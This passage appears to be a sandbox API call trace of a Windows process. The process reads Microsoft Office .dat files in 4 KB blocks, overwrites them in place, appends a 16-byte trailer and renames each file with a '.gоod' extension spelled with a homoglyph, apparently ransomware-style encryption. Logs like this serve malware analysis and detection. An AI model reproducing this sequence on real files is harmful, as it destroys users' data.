Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0149.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0149.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0149.101] GetFileType (hFile=0x7dc) returned 0x1 [0149.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0149.101] GetFileType (hFile=0x7dc) returned 0x1 [0149.101] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0149.101] ReadFile (in: hFile=0x7dc, lpBuffer=0x377e398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x377e398*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0149.102] CloseHandle (hObject=0x7dc) returned 1 [0149.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0149.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0149.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0149.102] GetFileType (hFile=0x7dc) returned 0x1 [0149.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0149.102] GetFileType (hFile=0x7dc) returned 0x1 [0149.102] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0xa06c0 [0149.103] WriteFile (in: hFile=0x7dc, lpBuffer=0x377f688*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x377f688*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0149.691] CloseHandle (hObject=0x7dc) returned 1 [0150.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0150.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0150.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.235] GetFileType (hFile=0x644) returned 0x1 [0150.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0150.235] GetFileType (hFile=0x644) returned 0x1 [0150.235] ReadFile (in: hFile=0x644, lpBuffer=0x3776708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3776708*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0150.272] CloseHandle (hObject=0x644) returned 1 [0150.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0150.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0150.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.272] GetFileType (hFile=0x644) returned 0x1 [0150.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0150.272] GetFileType (hFile=0x644) returned 0x1 [0150.272] WriteFile (in: hFile=0x644, lpBuffer=0x3775408*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3775408*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0150.272] CloseHandle (hObject=0x644) returned 1 [0150.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x55 [0150.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5a [0150.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0150.273] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55c8773a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa06d0)) returned 1 [0150.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0150.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0150.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0150.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0150.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x37f3650 | out: lpFileInformation=0x37f3650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0440f22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff0cc)) returned 1 [0150.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0150.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0150.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0150.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.885] GetFileType (hFile=0x644) returned 0x1 [0150.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0150.885] GetFileType (hFile=0x644) returned 0x1 [0150.885] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0150.886] ReadFile (in: hFile=0x644, lpBuffer=0x37e07d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37e07d8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0150.887] CloseHandle (hObject=0x644) returned 1 [0150.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0150.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0150.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.887] GetFileType (hFile=0x644) returned 0x1 [0150.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0150.887] GetFileType (hFile=0x644) returned 0x1 [0150.887] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0xff0cc [0150.888] WriteFile (in: hFile=0x644, lpBuffer=0x37e1c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37e1c68*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0150.889] CloseHandle (hObject=0x644) returned 1 [0150.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0150.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0150.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.889] GetFileType (hFile=0x644) returned 0x1 [0150.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0150.889] GetFileType (hFile=0x644) returned 0x1 [0150.889] ReadFile (in: hFile=0x644, lpBuffer=0x37e41f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37e41f0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0151.241] CloseHandle (hObject=0x644) returned 1 [0151.241] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0151.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0151.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0151.241] GetFileType (hFile=0x644) returned 0x1 [0151.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0151.241] GetFileType (hFile=0x644) returned 0x1 [0151.241] WriteFile (in: hFile=0x644, lpBuffer=0x377d308*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x377d308*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0151.242] CloseHandle (hObject=0x644) returned 1 [0151.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x50 [0151.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x55 [0151.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0151.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x565c47cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xff0dc)) returned 1 [0151.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0151.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0151.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0151.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0151.243] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3807ee8 | out: lpFileInformation=0x3807ee8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42ae)) returned 1 [0151.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0151.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0151.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0151.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0151.244] GetFileType (hFile=0x644) returned 0x1 [0151.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0151.244] GetFileType (hFile=0x644) returned 0x1 [0151.244] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0151.244] ReadFile (in: hFile=0x644, lpBuffer=0x3808390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3808390*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0151.246] CloseHandle (hObject=0x644) returned 1 [0151.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0151.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0151.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0151.246] GetFileType (hFile=0x644) returned 0x1 [0151.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0151.246] GetFileType (hFile=0x644) returned 0x1 [0151.246] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x42ae [0151.246] WriteFile (in: hFile=0x644, lpBuffer=0x3809848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3809848*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0151.247] CloseHandle (hObject=0x644) returned 1 [0151.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0151.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0151.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0151.247] GetFileType (hFile=0x644) returned 0x1 [0151.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0151.247] GetFileType (hFile=0x644) returned 0x1 [0151.247] ReadFile (in: hFile=0x644, lpBuffer=0x380bb50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x380bb50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0152.072] CloseHandle (hObject=0x644) returned 1 [0152.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0152.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0152.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0152.073] GetFileType (hFile=0x644) returned 0x1 [0152.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0152.073] GetFileType (hFile=0x644) returned 0x1 [0152.073] WriteFile (in: hFile=0x644, lpBuffer=0x3798dc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3798dc0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0153.150] CloseHandle (hObject=0x644) returned 1 [0153.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0153.185] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0153.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0153.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x577f2838, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42be)) returned 1 [0153.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0153.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0153.186] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0153.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x39cad20 | out: lpFileInformation=0x39cad20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0572132, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0572132, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0656ff9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cf4)) returned 1 [0153.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0153.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\office32mui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0153.187] SetThreadErrorMode 